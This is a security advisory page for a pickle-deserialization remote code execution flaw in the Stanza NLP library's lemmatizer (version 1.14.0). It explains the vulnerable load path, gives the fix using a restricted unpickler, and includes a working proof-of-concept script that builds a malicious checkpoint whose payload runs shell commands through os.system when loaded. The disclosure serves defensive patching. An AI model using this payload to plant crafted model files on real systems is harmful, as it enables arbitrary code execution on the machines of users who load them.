---
id: "CVE-2026-115878"
kind: "vulnerability"
aliases: ["CVE-2026-115878", "GHSA-gh9r-c94j-cmp5"]
title: "Stanza: RCE via pickle deserialization in the lemmatizer"
severity: "high"
cvss: 7.8
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "stanza", "fixed": ["1.15.0"], "affected": "= 1.14.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-502", "cwe-94", "nlp", "package", "python", "stanza"]
not_affected_if: ["default-config", "no-custom-lemma-model"]
published_at: "2026-11-03T20:29:16+00:00"
first_seen_at: "2026-11-03T20:33:51+00:00"
updated_at: "2026-11-03T20:35:04+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-gh9r-c94j-cmp5", "first_seen_at": "2026-11-03T20:33:51+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115878", "first_seen_at": "2026-11-03T21:19:08+00:00"}]
---

# Stanza: RCE via pickle deserialization in the lemmatizer

Stanza's lemmatizer stores part-of-speech data as a gzip-compressed pickle inside the model checkpoint, and the loader unpickles it without restriction. A crafted lemma .pt file can therefore run arbitrary commands as the user who loads it, at pipeline construction time.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:stanza affected = 1.14.0 fixed 1.15.0

## How to check

- Run `pip show stanza` and check whether the version is `1.14.0`.
- Look for `lemma_model_path` in pipeline code, configs or registries that loads checkpoints from untrusted or shared sources.

## Fix

- `stanza` fixed in `1.15.0` (affected `1.14.0`).

## Timeline

- 2026-11-03T20:33:51+00:00 ghsa https://github.com/advisories/GHSA-gh9r-c94j-cmp5
- 2026-11-03T21:19:08+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-115878

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/stanfordnlp/stanza/security-advisories/GHSA-gh9r-c94j-cmp5
- [advisory] Maintainer's advisory: github.com https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5
- [fix] Patch: github.com https://github.com/stanfordnlp/stanza/pull/1649
- [fix] Patch: github.com https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
- [fix] Release: github.com https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0

## From the sources

## TL;DR

Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time.

## The vulnerable path

`stanza/models/lemma/trainer.py`:

```python
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):                 # line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)                # <-- unrestricted default unpickler
```

```python
def load(self, filename, ...):              # line 365
    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation
```

**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

## Minimal PoC

```python
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:        # same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])                            # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
```

The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

## Fix

Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):

```python
from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()
```

A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
